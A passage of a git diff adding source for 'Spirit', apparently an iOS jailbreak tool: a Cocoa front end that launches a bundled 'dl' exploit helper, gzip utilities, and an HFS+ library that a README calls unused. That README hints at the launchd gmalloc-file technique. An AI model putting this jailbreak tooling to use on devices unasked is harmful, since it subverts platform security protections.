setBackgroundStyle:NSBackgroundStyleRaised]; + + buttonTitle = [NSString stringWithFormat:@"Ready: %@ (%@) connected.", [self humanReadableDeviceModel], [self deviceFirmwareVersion]]; + } + + [noteText setTitleWithMnemonic:buttonTitle]; + [button setEnabled:[self isReadyToJailbreak]]; + [button setTitleWithMnemonic:@"Jailbreak"]; +} + +- (void)alertDidEnd:(NSAlert *)alert returnCode:(NSInteger)returnCode contextInfo:(void *)contextInfo +{ + if(returnCode == NSAlertSecondButtonReturn) { + [[alert window] orderOut:self]; + exit(0); + } +} +- (void)applicationDidFinishLaunching:(NSNotification *)aNotification +{ + [self setDeviceConnected:NO]; + +#if 0 + NSArray *array = NSSearchPathForDirectoriesInDomains(NSDownloadsDirectory, NSUserDomainMask, YES); + xzfile = nil; + for(int i = 0; i < [array count]; i++) { // no fast enumeration :( + if(is_valid_freeze([array objectAtIndex:i])) { + xzfile = [path retain]; + break; + } + } + + if(!xzfile) { + NSAlert *alert = [NSAlert alertWithMessageText:@XZ_FILENAME " was not found in the Downloads directory." + defaultButton:@"Download" + alternateButton:@"Quit" + otherButton:@"Choose File..." + informativeTextWithFormat:@"If you haven't downloaded it before, choose Download. If you are asked to choose a destination directory, specify Downloads.\n\n" + "Alternately, select a file in a different location."]; + NSInteger result = [alert runModal]; + if(result == NSAlertDefaultReturn) { + + } else if(result == NSAlertAlternateReturn) { + } else { + exit(0); + } + } +#endif + + if([self getMobileDeviceVersion] < 2510600) { + NSAlert *alert = [[NSAlert alloc] init]; + [alert addButtonWithTitle:@"Continue"]; + [alert addButtonWithTitle:@"Quit"]; + [alert setMessageText:@"Old version of iTunes"]; + [alert setInformativeText:@"Spirit has not been tested with this version of iTunes. You can continue, but it might not work."]; + [alert setAlertStyle:NSWarningAlertStyle]; + [alert beginSheetModalForWindow:window + modalDelegate:self + didEndSelector:@selector(alertDidEnd:returnCode:contextInfo:) + contextInfo:NULL]; + } + + + am_device_notification *notif; + am_device_notification_subscribe(device_notification_callback, 0, 0, NULL, ¬if); +} + +- (BOOL)applicationShouldTerminateAfterLastWindowClosed:(NSApplication *)theApplication +{ + return YES; +} + +- (void)performJailbreak +{ + NSAutoreleasePool *pool = [[NSAutoreleasePool alloc] init]; + NSTask *task = [[NSTask alloc] init]; + NSDate *startDate = [NSDate date]; + NSNumber *exitStatus; + NSData *data; + NSString *output; + NSPipe *outputPipe = [NSPipe pipe]; + NSPipe *errorPipe = [NSPipe pipe]; + + @try { + [task setLaunchPath:[[NSBundle mainBundle] pathForResource:@"dl" ofType:nil]]; + [task setArguments:[NSArray arrayWithObjects:nil]]; + [task setCurrentDirectoryPath:[[NSBundle mainBundle] resourcePath]]; + [task setStandardError:errorPipe]; + [task setStandardOutput:outputPipe]; + [task launch]; + [task waitUntilExit]; + + exitStatus = [[NSNumber numberWithInt:[task terminationStatus]] retain]; + data = [[errorPipe fileHandleForReading] readDataToEndOfFile]; + output = [[NSString alloc] initWithData:data encoding:NSUTF8StringEncoding]; + NSLog(@"hi"); + if(exitStatus) { + // 256 exit codes are not enough! + NSData *codeData = [[outputPipe fileHandleForReading] readDataToEndOfFile]; + NSString *codeString = [[NSString alloc] initWithData:codeData encoding:NSUTF8StringEncoding]; + exitStatus = [[NSNumber numberWithInt:[codeString intValue]] retain]; + [codeString release]; + } + } @catch (NSException *exception) { + exitStatus = [[NSNumber numberWithInt:0x42] retain]; + output = [[NSString alloc] initWithFormat:@"%@: %@", [exception name], [exception reason]]; + } + + [task release]; + + NSDate *endDate = [NSDate date]; + NSTimeInterval diff = [endDate timeIntervalSinceDate:startDate]; + + // This thread should always take at least a second + if (diff < 1.0) + [NSThread sleepUntilDate:[NSDate dateWithTimeIntervalSinceNow:1.0 - diff]]; + + [self performSelectorOnMainThread:@selector(didJailbreakWithResultCodeAndOutput:) + withObject:[[NSArray arrayWithObjects:exitStatus, output, nil] retain] + waitUntilDone:NO]; + [pool release]; +} + +- (IBAction)performClick:(id)sender +{ + if(isJailbreaking) + return; + + if(jailbreakComplete) + [[NSApplication sharedApplication] terminate:nil]; + + isJailbreaking = YES; + + [progress startAnimation:self]; + [self flipVisibility:YES]; + [noteText setTitleWithMnemonic:@"Jailbreaking..."]; + + [NSThread detachNewThreadSelector:@selector(performJailbreak) toTarget:self withObject:nil]; +} + +@end + +// It's easier if we have this code here, rather than in a new file +int main(int argc, char *argv[]) +{ + return NSApplicationMain(argc, (const char **) argv); +} + + diff --git a/gui/SpiritWindow.h b/gui/SpiritWindow.h new file mode 100644 index 0000000..b2a4024 --- /dev/null +++ b/gui/SpiritWindow.h @@ -0,0 +1,9 @@ + +#import + + +@interface SpiritWindow : NSWindow { + +} + +@end diff --git a/gui/SpiritWindow.m b/gui/SpiritWindow.m new file mode 100644 index 0000000..7cbbce7 --- /dev/null +++ b/gui/SpiritWindow.m @@ -0,0 +1,41 @@ +#import "SpiritWindow.h" +extern int load_mobile_device(); // from SpiritAppDelegate + +@implementation SpiritWindow + + +-(id) initWithContentRect:(NSRect)contentRect + styleMask:(unsigned int)styleMask + backing:(NSBackingStoreType)backingType + defer:(BOOL)flag +{ + if (load_mobile_device()) { + NSAlert *alert = [[NSAlert alloc] init]; + [alert addButtonWithTitle:@"Quit"]; + [alert setMessageText:@"Spirit requires iTunes 9.0 or higher."]; + [alert setInformativeText:@"Please install the latest version of iTunes 9 and run Spirit again."]; + [alert setAlertStyle:NSCriticalAlertStyle]; + [alert runModal]; + + exit(0); + } + + if ((self = [super initWithContentRect:contentRect + styleMask:styleMask + backing:backingType + defer:flag])) { + [self setHasShadow:YES]; + [self setMovableByWindowBackground:YES]; + [self setLevel:NSNormalWindowLevel]; + + } + + return self; +} + +- (BOOL) canBecomeKeyWindow +{ + return YES; +} + +@end diff --git a/gui/Spirit_Prefix.pch b/gui/Spirit_Prefix.pch new file mode 100644 index 0000000..f39982e --- /dev/null +++ b/gui/Spirit_Prefix.pch @@ -0,0 +1,7 @@ +// +// Prefix header for all source files of the 'Spirit' target in the 'Spirit' project +// + +#ifdef __OBJC__ + #import +#endif diff --git a/gui/dddata.h b/gui/dddata.h new file mode 100644 index 0000000..a6b81c4 --- /dev/null +++ b/gui/dddata.h @@ -0,0 +1,12 @@ +// http://deusty.blogspot.com/2007/07/gzip-compressiondecompression.html +// Thanks! + +@interface NSData (DDData) + +// gzip compression utilities +- (NSData *)gzipDeflate; + +@end + + + diff --git a/gui/dddata.m b/gui/dddata.m new file mode 100644 index 0000000..9137405 --- /dev/null +++ b/gui/dddata.m @@ -0,0 +1,46 @@ +#include + +@implementation NSData (DDData) + +- (NSData *)gzipDeflate +{ + if ([self length] == 0) return self; + + z_stream strm; + + strm.zalloc = Z_NULL; + strm.zfree = Z_NULL; + strm.opaque = Z_NULL; + strm.total_out = 0; + strm.next_in=(Bytef *)[self bytes]; + strm.avail_in = [self length]; + + // Compresssion Levels: + // Z_NO_COMPRESSION + // Z_BEST_SPEED + // Z_BEST_COMPRESSION + // Z_DEFAULT_COMPRESSION + + if (deflateInit2(&strm, Z_DEFAULT_COMPRESSION, Z_DEFLATED, 15, 8, Z_DEFAULT_STRATEGY) != Z_OK) return nil; + + NSMutableData *compressed = [NSMutableData dataWithLength:16384]; // 16K chunks for expansion + + do { + + if (strm.total_out >= [compressed length]) + [compressed increaseLengthBy: 16384]; + + strm.next_out = [compressed mutableBytes] + strm.total_out; + strm.avail_out = [compressed length] - strm.total_out; + + deflate(&strm, Z_FINISH); + + } while (strm.avail_out == 0); + + deflateEnd(&strm); + + [compressed setLength: strm.total_out]; + return [NSData dataWithData:compressed]; +} + +@end diff --git a/gui/spirit.icns b/gui/spirit.icns new file mode 100644 index 0000000..8c304da Binary files /dev/null and b/gui/spirit.icns differ diff --git a/hfs/.gitignore b/hfs/.gitignore new file mode 100644 index 0000000..bfe12b2 --- /dev/null +++ b/hfs/.gitignore @@ -0,0 +1 @@ +hfsdude diff --git a/hfs/Makefile b/hfs/Makefile new file mode 100644 index 0000000..8e49fc2 --- /dev/null +++ b/hfs/Makefile @@ -0,0 +1,10 @@ +all: hfsdude +%.o: %.c + gcc-4.2 -arch armv6 -isysroot /var/sdk -I. -c -o $@ $< +cfiles = $(wildcard *.c) +ofiles = $(cfiles:.c=.o) +hfsdude: $(ofiles) + gcc-4.2 -arch armv6 -isysroot /var/sdk -o $@ $(ofiles) + ldid -S $@ +clean: + rm -f *.o hfsdude diff --git a/hfs/Makefile.x86 b/hfs/Makefile.x86 new file mode 100644 index 0000000..d8029b7 --- /dev/null +++ b/hfs/Makefile.x86 @@ -0,0 +1,9 @@ +all: hfsdude +%.o: %.c + gcc-4.2 -m32 -I. -c -o $@ $< +cfiles = $(wildcard *.c) +ofiles = $(cfiles:.c=.o) +hfsdude: $(ofiles) + gcc-4.2 -m32 -o $@ $(ofiles) +clean: + rm -f *.o hfsdude diff --git a/hfs/README b/hfs/README new file mode 100644 index 0000000..500d58f --- /dev/null +++ b/hfs/README @@ -0,0 +1,3 @@ +launchd reads /var/db/.launchd_use_gmalloc before /var is actually mounted, so it's necessary for the installer to write "under" the mount. Originally I was going to do this by manually editing HFS but I changed to a different approach. + +That is to say, this code is not used for anything. diff --git a/hfs/abstractfile.c b/hfs/abstractfile.c new file mode 100644 index 0000000..d55aaaa --- /dev/null +++ b/hfs/abstractfile.c @@ -0,0 +1,310 @@ +#include +#include +#include +#include +#include + +#include "abstractfile.h" +#include "common.h" + +size_t freadWrapper(AbstractFile* file, void* data, size_t len) { + return fread(data, 1, len, (FILE*) (file->data)); +} + +size_t fwriteWrapper(AbstractFile* file, const void* data, size_t len) { + return fwrite(data, 1, len, (FILE*) (file->data)); +} + +int fseekWrapper(AbstractFile* file, off_t offset) { + return fseeko((FILE*) (file->data), offset, SEEK_SET); +} + +off_t ftellWrapper(AbstractFile* file) { + return ftello((FILE*) (file->data)); +} + +void fcloseWrapper(AbstractFile* file) { + fclose((FILE*) (file->data)); + free(file); +} + +off_t fileGetLength(AbstractFile* file) { + off_t length; + off_t pos; + + pos = ftello((FILE*) (file->data)); + + fseeko((FILE*) (file->data), 0, SEEK_END); + length = ftello((FILE*) (file->data)); + + fseeko((FILE*) (file->data), pos, SEEK_SET); + + return length; +} + +AbstractFile* createAbstractFileFromFile(FILE* file) { + AbstractFile* toReturn; + + if(file == NULL) { + return NULL; + } + + toReturn = (AbstractFile*) malloc(sizeof(AbstractFile)); + toReturn->data = file; + toReturn->read = freadWrapper; + toReturn->write = fwriteWrapper; + toReturn->seek = fseekWrapper; + toReturn->tell = ftellWrapper; + toReturn->getLength = fileGetLength; + toReturn->close = fcloseWrapper; + toReturn->type = AbstractFileTypeFile; + return toReturn; +} + +size_t dummyRead(AbstractFile* file, void* data, size_t len) { + return 0; +} + +size_t dummyWrite(AbstractFile* file, const void* data, size_t len) { + *((off_t*) (file->data)) += len; + return len; +} + +int dummySeek(AbstractFile* file, off_t offset) { + *((off_t*) (file->data)) = offset; + return 0; +} + +off_t dummyTell(AbstractFile* file) { + return *((off_t*) (file->data)); +} + +void dummyClose(AbstractFile* file) { + free(file); +} + +AbstractFile* createAbstractFileFromDummy() { + AbstractFile* toReturn; + toReturn = (AbstractFile*) malloc(sizeof(AbstractFile)); + toReturn->data = NULL; + toReturn->read = dummyRead; + toReturn->write = dummyWrite; + toReturn->seek = dummySeek; + toReturn->tell = dummyTell; + toReturn->getLength = NULL; + toReturn->close = dummyClose; + toReturn->type = AbstractFileTypeDummy; + return toReturn; +} + +size_t memRead(AbstractFile* file, void* data, size_t len) { + MemWrapperInfo* info = (MemWrapperInfo*) (file->data); + if(info->bufferSize < (info->offset + len)) { + len = info->bufferSize - info->offset; + } + memcpy(data, (void*)((uint8_t*)(*(info->buffer)) + (uint32_t)info->offset), len); + info->offset += (size_t)len; + return len; +} + +size_t memWrite(AbstractFile* file, const void* data, size_t len) { + MemWrapperInfo* info = (MemWrapperInfo*) (file->data); + + while((info->offset + (size_t)len) > info->bufferSize) { + info->bufferSize <<= 1; + *(info->buffer) = realloc(*(info->buffer), info->bufferSize); + } + + memcpy((void*)((uint8_t*)(*(info->buffer)) + (uint32_t)info->offset), data, len); + info->offset += (size_t)len; + return len; +} + +int memSeek(AbstractFile* file, off_t offset) { + MemWrapperInfo* info = (MemWrapperInfo*) (file->data); + info->offset = (size_t)offset; + return 0; +} + +off_t memTell(AbstractFile* file) { + MemWrapperInfo* info = (MemWrapperInfo*) (file->data); + return (off_t)info->offset; +} + +off_t memGetLength(AbstractFile* file) { + MemWrapperInfo* info = (MemWrapperInfo*) (file->data); + return info->bufferSize; +} + +void memClose(AbstractFile* file) { + free(file->data); + free(file); +} + +AbstractFile* createAbstractFileFromMemory(void** buffer, size_t size) { + MemWrapperInfo* info; + AbstractFile* toReturn; + toReturn = (AbstractFile*) malloc(sizeof(AbstractFile)); + + info = (MemWrapperInfo*) malloc(sizeof(MemWrapperInfo)); + info->offset = 0; + info->buffer = buffer; + info->bufferSize = size; + + toReturn->data = info; + toReturn->read = memRead; + toReturn->write = memWrite; + toReturn->seek = memSeek; + toReturn->tell = memTell; + toReturn->getLength = memGetLength; + toReturn->close = memClose; + toReturn->type = AbstractFileTypeMem; + return toReturn; +} + +void abstractFilePrint(AbstractFile* file, const char* format, ...) { + va_list args; + char buffer[1024]; + size_t length; + + buffer[0] = '\0'; + va_start(args, format); + length = vsprintf(buffer, format, args); + va_end(args); + ASSERT(file->write(file, buffer, length) == length, "fwrite"); +} + +int absFileRead(io_func* io, off_t location, size_t size, void *buffer) { + AbstractFile* file; + file = (AbstractFile*) io->data; + file->seek(file, location); + if(file->read(file, buffer, size) == size) { + return TRUE; + } else { + return FALSE; + } +} + +int absFileWrite(io_func* io, off_t location, size_t size, void *buffer) { + AbstractFile* file; + file = (AbstractFile*) io->data; + file->seek(file, location); + if(file->write(file, buffer, size) == size) { + return TRUE; + } else { + return FALSE; + } +} + +void closeAbsFile(io_func* io) { + AbstractFile* file; + file = (AbstractFile*) io->data; + file->close(file); + free(io); +} + + +io_func* IOFuncFromAbstractFile(AbstractFile* file) { + io_func* io; + + io = (io_func*) malloc(sizeof(io_func)); + io->data = file; + io->read = &absFileRead; + io->write = &absFileWrite; + io->close = &closeAbsFile; + + return io; +} + +size_t memFileRead(AbstractFile* file, void* data, size_t len) { + MemFileWrapperInfo* info = (MemFileWrapperInfo*) (file->data); + memcpy(data, (void*)((uint8_t*)(*(info->buffer)) + (uint32_t)info->offset), len); + info->offset += (size_t)len; + return len; +} + +size_t memFileWrite(AbstractFile* file, const void* data, size_t len) { + MemFileWrapperInfo* info = (MemFileWrapperInfo*) (file->data); + + while((info->offset + (size_t)len) > info->actualBufferSize) { + info->actualBufferSize <<= 1; + *(info->buffer) = realloc(*(info->buffer), info->actualBufferSize); + } + + if((info->offset + (size_t)len) > (*(info->bufferSize))) { + *(info->bufferSize) = info->offset + (size_t)len; + } + + memcpy((void*)((uint8_t*)(*(info->buffer)) + (uint32_t)info->offset), data, len); + info->offset += (size_t)len; + return len; +} + +int memFileSeek(AbstractFile* file, off_t offset) { + MemFileWrapperInfo* info = (MemFileWrapperInfo*) (file->data); + info->offset = (size_t)offset; + return 0; +} + +off_t memFileTell(AbstractFile* file) { + MemFileWrapperInfo* info = (MemFileWrapperInfo*) (file->data); + return (off_t)info->offset; +} + +off_t memFileGetLength(AbstractFile* file) { + MemFileWrapperInfo* info = (MemFileWrapperInfo*) (file->data); + return *(info->bufferSize); +} + +void memFileClose(AbstractFile* file) { + free(file->data); + free(file); +} + +AbstractFile* createAbstractFileFromMemoryFile(void** buffer, size_t* size) { + MemFileWrapperInfo* info; + AbstractFile* toReturn; + toReturn = (AbstractFile*) malloc(sizeof(AbstractFile)); + + info = (MemFileWrapperInfo*) malloc(sizeof(MemFileWrapperInfo)); + info->offset = 0; + info->buffer = buffer; + info->bufferSize = size; + info->actualBufferSize = (1024 < (*size)) ? (*size) : 1024; + if(info->actualBufferSize != *(info->bufferSize)) { + *(info->buffer) = realloc(*(info->buffer), info->actualBufferSize); + } + + toReturn->data = info; + toReturn->read = memFileRead; + toReturn->write = memFileWrite; + toReturn->seek = memFileSeek; + toReturn->tell = memFileTell; + toReturn->getLength = memFileGetLength; + toReturn->close = memFileClose; + toReturn->type = AbstractFileTypeMemFile; + return toReturn; +} + +AbstractFile* createAbstractFileFromMemoryFileBuffer(void** buffer, size_t* size, size_t actualBufferSize) { + MemFileWrapperInfo* info; + AbstractFile* toReturn; + toReturn = (AbstractFile*) malloc(sizeof(AbstractFile)); + + info = (MemFileWrapperInfo*) malloc(sizeof(MemFileWrapperInfo)); + info->offset = 0; + info->buffer = buffer; + info->bufferSize = size; + info->actualBufferSize = actualBufferSize; + + toReturn->data = info; + toReturn->read = memFileRead; + toReturn->write = memFileWrite; + toReturn->seek = memFileSeek; + toReturn->tell = memFileTell; + toReturn->getLength = memFileGetLength; + toReturn->close = memFileClose; + toReturn->type = AbstractFileTypeMemFile; + return toReturn; +} + diff --git a/hfs/abstractfile.h b/hfs/abstractfile.h new file mode 100644 index 0000000..16bfd90 --- /dev/null +++ b/hfs/abstractfile.h @@ -0,0 +1,75 @@ +#ifndef ABSTRACTFILE_H +#define ABSTRACTFILE_H + +#include "common.h" +#include + +typedef struct AbstractFile AbstractFile; +typedef struct AbstractFile2 AbstractFile2; + +typedef size_t (*WriteFunc)(AbstractFile* file, const void* data, size_t len); +typedef size_t (*ReadFunc)(AbstractFile* file, void* data, size_t len); +typedef int (*SeekFunc)(AbstractFile* file, off_t offset); +typedef off_t (*TellFunc)(AbstractFile* file); +typedef void (*CloseFunc)(AbstractFile* file); +typedef off_t (*GetLengthFunc)(AbstractFile* file); +typedef void (*SetKeyFunc)(AbstractFile2* file, const unsigned int* key, const unsigned int* iv); + +typedef enum AbstractFileType { + AbstractFileTypeFile, + AbstractFileType8900, + AbstractFileTypeImg2, + AbstractFileTypeImg3, + AbstractFileTypeLZSS, + AbstractFileTypeIBootIM, + AbstractFileTypeMem, + AbstractFileTypeMemFile, + AbstractFileTypeDummy +} AbstractFileType; + +struct AbstractFile { + void* data; + WriteFunc write; + ReadFunc read; + SeekFunc seek; + TellFunc tell; + GetLengthFunc getLength; + CloseFunc close; + AbstractFileType type; +}; + +struct AbstractFile2 { + AbstractFile super; + SetKeyFunc setKey; +}; + + +typedef struct { + size_t offset; + void** buffer; + size_t bufferSize; +} MemWrapperInfo; + +typedef struct { + size_t offset; + void** buffer; + size_t* bufferSize; + size_t actualBufferSize; +} MemFileWrapperInfo; + +#ifdef __cplusplus +extern "C" { +#endif + AbstractFile* createAbstractFileFromFile(FILE* file); + AbstractFile* createAbstractFileFromDummy(); + AbstractFile* createAbstractFileFromMemory(void** buffer, size_t size); + AbstractFile* createAbstractFileFromMemoryFile(void** buffer, size_t* size); + AbstractFile* createAbstractFileFromMemoryFileBuffer(void** buffer, size_t* size, size_t actualBufferSize); + void abstractFilePrint(AbstractFile* file, const char* format, ...); + io_func* IOFuncFromAbstractFile(AbstractFile* file); +#ifdef __cplusplus +} +#endif + +#endif + diff --git a/hfs/btree.c b/hfs/btree.c new file mode 100644 index 0000000..47571ee --- /dev/null +++ b/hfs/btree.c @@ -0,0 +1,1533 @@ +#include +#include "hfsplus.h" + +BTNodeDescriptor* readBTNodeDescriptor(uint32_t num, BTree* tree) { + BTNodeDescriptor* descriptor; + + descriptor = (BTNodeDescriptor*) malloc(sizeof(BTNodeDescriptor)); + + if(!READ(tree->io, num * tree->headerRec->nodeSize, sizeof(BTNodeDescriptor), descriptor)) + return NULL; + + FLIPENDIAN(descriptor->fLink); + FLIPENDIAN(descriptor->bLink); + FLIPENDIAN(descriptor->numRecords); + + return descriptor; +} + +static int writeBTNodeDescriptor(BTNodeDescriptor* descriptor, uint32_t num, BTree* tree) { + BTNodeDescriptor myDescriptor; + + myDescriptor = *descriptor; + + FLIPENDIAN(myDescriptor.fLink); + FLIPENDIAN(myDescriptor.bLink); + FLIPENDIAN(myDescriptor.numRecords); + + if(!WRITE(tree->io, num * tree->headerRec->nodeSize, sizeof(BTNodeDescriptor), &myDescriptor)) + return FALSE; + + return TRUE; +} + +BTHeaderRec* readBTHeaderRec(io_func* io) { + BTHeaderRec* headerRec; + + headerRec = (BTHeaderRec*) malloc(sizeof(BTHeaderRec)); + + if(!READ(io, sizeof(BTNodeDescriptor), sizeof(BTHeaderRec), headerRec)) + return NULL; + + FLIPENDIAN(headerRec->treeDepth); + FLIPENDIAN(headerRec->rootNode); + FLIPENDIAN(headerRec->leafRecords); + FLIPENDIAN(headerRec->firstLeafNode); + FLIPENDIAN(headerRec->lastLeafNode); + FLIPENDIAN(headerRec->nodeSize); + FLIPENDIAN(headerRec->maxKeyLength); + FLIPENDIAN(headerRec->totalNodes); + FLIPENDIAN(headerRec->freeNodes); + FLIPENDIAN(headerRec->clumpSize); + FLIPENDIAN(headerRec->attributes); + + /*printf("treeDepth: %d\n", headerRec->treeDepth); + printf("rootNode: %d\n", headerRec->rootNode); + printf("leafRecords: %d\n", headerRec->leafRecords); + printf("firstLeafNode: %d\n", headerRec->firstLeafNode); + printf("lastLeafNode: %d\n", headerRec->lastLeafNode); + printf("nodeSize: %d\n", headerRec->nodeSize); + printf("maxKeyLength: %d\n", headerRec->maxKeyLength); + printf("totalNodes: %d\n", headerRec->totalNodes); + printf("freeNodes: %d\n", headerRec->freeNodes); + printf("clumpSize: %d\n", headerRec->clumpSize); + printf("bTreeType: 0x%x\n", headerRec->btreeType); + printf("keyCompareType: 0x%x\n", headerRec->keyCompareType); + printf("attributes: 0x%x\n", headerRec->attributes); + fflush(stdout);*/ + + return headerRec; +} + +static int writeBTHeaderRec(BTree* tree) { + BTHeaderRec headerRec; + + headerRec = *tree->headerRec; + + FLIPENDIAN(headerRec.treeDepth); + FLIPENDIAN(headerRec.rootNode); + FLIPENDIAN(headerRec.leafRecords); + FLIPENDIAN(headerRec.firstLeafNode); + FLIPENDIAN(headerRec.lastLeafNode); + FLIPENDIAN(headerRec.nodeSize); + FLIPENDIAN(headerRec.maxKeyLength); + FLIPENDIAN(headerRec.totalNodes); + FLIPENDIAN(headerRec.freeNodes); + FLIPENDIAN(headerRec.clumpSize); + FLIPENDIAN(headerRec.attributes); + + if(!WRITE(tree->io, sizeof(BTNodeDescriptor), sizeof(BTHeaderRec), &headerRec)) + return FALSE; + + return TRUE; +} + + +BTree* openBTree(io_func* io, compareFunc compare, dataReadFunc keyRead, keyWriteFunc keyWrite, keyPrintFunc keyPrint, dataReadFunc dataRead) { + BTree* tree; + + tree = (BTree*) malloc(sizeof(BTree)); + tree->io = io; + tree->headerRec = readBTHeaderRec(tree->io); + + if(tree->headerRec == NULL) { + free(tree); + return NULL; + } + + tree->compare = compare; + tree->keyRead = keyRead; + tree->keyWrite = keyWrite; + tree->keyPrint = keyPrint; + tree->dataRead = dataRead; + + return tree; +} + +void closeBTree(BTree* tree) { + (*tree->io->close)(tree->io); + free(tree->headerRec); + free(tree); +} + +off_t getRecordOffset(int num, uint32_t nodeNum, BTree* tree) { + uint16_t offset; + off_t nodeOffset; + + nodeOffset = nodeNum * tree->headerRec->nodeSize; + + if(!READ(tree->io, nodeOffset + tree->headerRec->nodeSize - (sizeof(uint16_t) * (num + 1)), sizeof(uint16_t), &offset)) { + hfs_panic("cannot get record offset!"); + } + + FLIPENDIAN(offset); + + //printf("%d: %d %d\n", nodeOffset + tree->headerRec->nodeSize - (sizeof(uint16_t) * (num + 1)), nodeOffset + offset, offset); + + return (nodeOffset + offset); +} + +static off_t getFreeSpace(uint32_t nodeNum, BTNodeDescriptor* descriptor, BTree* tree) { + uint16_t num; + off_t nodeOffset; + off_t freespaceOffsetOffset; + uint16_t offset; + off_t freespaceOffset; + + num = descriptor->numRecords; + + nodeOffset = nodeNum * tree->headerRec->nodeSize; + freespaceOffsetOffset = nodeOffset + tree->headerRec->nodeSize - (sizeof(uint16_t) * (num + 1)); + + if(!READ(tree->io, freespaceOffsetOffset, sizeof(uint16_t), &offset)) { + hfs_panic("cannot get record offset!"); + } + + FLIPENDIAN(offset); + + freespaceOffset = nodeOffset + offset; + + return (freespaceOffsetOffset - freespaceOffset); +} + +off_t getNodeNumberFromPointerRecord(off_t offset, io_func* io) { + uint32_t nodeNum; + + if(!READ(io, offset, sizeof(uint32_t), &nodeNum)) { + hfs_panic("cannot get node number from pointer record!"); + } + + FLIPENDIAN(nodeNum); + + return nodeNum; +} + +static void* searchNode(BTree* tree, uint32_t root, BTKey* searchKey, int *exact, uint32_t *nodeNumber, int *recordNumber) { + BTNodeDescriptor* descriptor; + BTKey* key; + off_t recordOffset; + off_t recordDataOffset; + off_t lastRecordDataOffset; + + int res; + int i; + + descriptor = readBTNodeDescriptor(root, tree); + + if(descriptor == NULL) + return NULL; + + lastRecordDataOffset = 0; + + for(i = 0; i < descriptor->numRecords; i++) { + recordOffset = getRecordOffset(i, root, tree); + key = READ_KEY(tree, recordOffset, tree->io); + recordDataOffset = recordOffset + key->keyLength + sizeof(key->keyLength); + + res = COMPARE(tree, key, searchKey); + free(key); + if(res == 0) { + if(descriptor->kind == kBTLeafNode) { + if(nodeNumber != NULL) + *nodeNumber = root; + + if(recordNumber != NULL) + *recordNumber = i; + + if(exact != NULL) + *exact = TRUE; + + free(descriptor); + + return READ_DATA(tree, recordDataOffset, tree->io); + } else { + + free(descriptor); + return searchNode(tree, getNodeNumberFromPointerRecord(recordDataOffset, tree->io), searchKey, exact, nodeNumber, recordNumber); + } + } else if(res > 0) { + break; + } + + lastRecordDataOffset = recordDataOffset; + } + + if(lastRecordDataOffset == 0) { + hfs_panic("BTree inconsistent!"); + return NULL; + } + + if(descriptor->kind == kBTLeafNode) { + if(nodeNumber != NULL) + *nodeNumber = root; + + if(recordNumber != NULL) + *recordNumber = i; + + if(exact != NULL) + *exact = FALSE; + + free(descriptor); + return READ_DATA(tree, lastRecordDataOffset, tree->io); + } else { + + free(descriptor); + return searchNode(tree, getNodeNumberFromPointerRecord(lastRecordDataOffset, tree->io), searchKey, exact, nodeNumber, recordNumber); + } +} + +void* search(BTree* tree, BTKey* searchKey, int *exact, uint32_t *nodeNumber, int *recordNumber) { + return searchNode(tree, tree->headerRec->rootNode, searchKey, exact, nodeNumber, recordNumber); +} + +static uint32_t linearCheck(uint32_t* heightTable, unsigned char* map, BTree* tree, uint32_t *errCount) { + uint8_t i; + uint8_t j; + uint32_t node; + + uint32_t count; + uint32_t leafRecords; + + BTNodeDescriptor* descriptor; + + uint32_t prevNode; + + off_t recordOffset; + BTKey* key; + BTKey* previousKey; + + count = 0; + + leafRecords = 0; + + for(i = 0; i <= tree->headerRec->treeDepth; i++) { + node = heightTable[i]; + if(node != 0) { + descriptor = readBTNodeDescriptor(node, tree); + while(descriptor->bLink != 0) { + node = descriptor->bLink; + free(descriptor); + descriptor = readBTNodeDescriptor(node, tree); + } + free(descriptor); + + prevNode = 0; + previousKey = NULL; + + if(i == 1) { + if(node != tree->headerRec->firstLeafNode) { + printf("BTREE CONSISTENCY ERROR: First leaf node (%d) is not correct. Should be: %d\n", tree->headerRec->firstLeafNode, node); + (*errCount)++; + } + } + + while(node != 0) { + descriptor = readBTNodeDescriptor(node, tree); + if(descriptor->bLink != prevNode) { + printf("BTREE CONSISTENCY ERROR: Node %d is not properly linked with previous node %d\n", node, prevNode); + (*errCount)++; + } + + if(descriptor->height != i) { + printf("BTREE CONSISTENCY ERROR: Node %d (%d) is not properly linked with nodes of the same height %d\n", node, descriptor->height, i); + (*errCount)++; + } + + if((map[node / 8] & (1 << (7 - (node % 8)))) == 0) { + printf("BTREE CONSISTENCY ERROR: Node %d not marked allocated\n", node); + (*errCount)++; + } + + /*if(descriptor->kind == kBTIndexNode && descriptor->numRecords < 2) { + printf("BTREE CONSISTENCY ERROR: Node %d does not have at least two children\n", node); + (*errCount)++; + }*/ + + for(j = 0; j < descriptor->numRecords; j++) { + recordOffset = getRecordOffset(j, node, tree); + key = READ_KEY(tree, recordOffset, tree->io); + if(previousKey != NULL) { + if(COMPARE(tree, key, previousKey) < 0) { + printf("BTREE CONSISTENCY ERROR: Ordering not preserved during linear check for record %d node %d: ", j, node); + (*errCount)++; + tree->keyPrint(previousKey); + printf(" < "); + tree->keyPrint(key); + printf("\n"); + } + free(previousKey); + } + + if(i == 1) { + leafRecords++; + } + previousKey = key; + } + + count++; + + prevNode = node; + node = descriptor->fLink; + free(descriptor); + } + + if(i == 1) { + if(prevNode != tree->headerRec->lastLeafNode) { + printf("BTREE CONSISTENCY ERROR: Last leaf node (%d) is not correct. Should be: %d\n", tree->headerRec->lastLeafNode, node); + (*errCount)++; + } + } + + free(previousKey); + } + } + + if(leafRecords != tree->headerRec->leafRecords) { + printf("BTREE CONSISTENCY ERROR: leafRecords (%d) is not correct. Should be: %d\n", tree->headerRec->leafRecords, leafRecords); + (*errCount)++; + } + + return count; +} + +static uint32_t traverseNode(uint32_t nodeNum, BTree* tree, unsigned char* map, int parentHeight, BTKey** firstKey, BTKey** lastKey, + uint32_t* heightTable, uint32_t* errCount, int displayTree) { + BTNodeDescriptor* descriptor; + BTKey* key; + BTKey* previousKey; + BTKey* retFirstKey; + BTKey* retLastKey; + int i, j; + + int res; + + uint32_t count; + + off_t recordOffset; + off_t recordDataOffset; + + off_t lastrecordDataOffset; + + descriptor = readBTNodeDescriptor(nodeNum, tree); + + previousKey = NULL; + + count = 1; + + if(displayTree) { + for(i = 0; i < descriptor->height; i++) { + printf(" "); + } + } + + if(descriptor->kind == kBTLeafNode) { + if(displayTree) + printf("Leaf %d: %d", nodeNum, descriptor->numRecords); + + if(descriptor->height != 1) { + printf("BTREE CONSISTENCY ERROR: Leaf node %d does not have height 1\n", nodeNum); fflush(stdout); + (*errCount)++; + } + } else 